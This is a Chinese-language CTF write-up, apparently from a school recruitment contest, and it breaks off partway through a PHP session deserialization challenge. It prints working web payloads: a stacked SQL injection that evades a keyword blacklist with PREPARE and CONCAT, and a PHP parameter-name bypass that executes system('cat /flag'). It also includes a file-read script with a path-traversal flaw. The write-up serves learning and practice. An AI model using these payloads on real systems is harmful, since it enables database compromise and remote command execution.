一个比较小众的比赛,是别学校的招新赛,不过也对外开放
记录一点有点难度的题
随便注2.0
是原题“[强网杯 2019]随便注”的变式,过滤的很多
return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject);
空格都可以用%0a绕过,但是rename被ban了,改名不能用了,set被过滤,预处理语句的set也不能用了,handle也不能用了,网上流传的这三个方法都不行了
看了wp才知道是这样绕过
用prepare与concat结合绕过
select用逗号,
隔开
0';PREPARE%0cricky%0cfrom%0cconcat('sel','ect%0cflag%0cfrom%0c`@Neepu2021招新赛`');EXECUTE%0cricky;%23
有懈可击
- git泄露
- php特性,点和空格传值的时候会转化成下划线
f12看到测试账号,登入进后台
扫描后台有git泄露
找到了一个index.txt
里面唯一的php代码
传一个值给neepu_debug.mode,然后会执行这个命令
但是出现问题,php中,传值的时候,如果键名有点.
,那么就会转化成下划线_
文档
绕过方法:
使用一个中括号,让他以为是数组
比如这题就可以这样绕过
?neepu[debug.mode=system('cat /flag');
Serialize
- 任意文件读取
- session反序列化
- session_upload配合session反序列化
看他的请求里面有一个/functions/file.php?file=
可以读取文件,这波直接拿到许多网页的源码
<?php
/**
* @author: Ricky
* @function: Read file
* @return string
* @param $filename string
* @param $dirname string
**/
header('content-type:image/jpeg');
$filename = $_GET['file'];
$dirname = '/var/www/html/';
if(!preg_match('/^\/|\/$|\.\//', $filename)){
$file = file_get_contents($dirname.$filename);
echo $file;
} else{
die('Read fail :(');
}
index.php
<?php
error_reporting(0);
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
class neepu {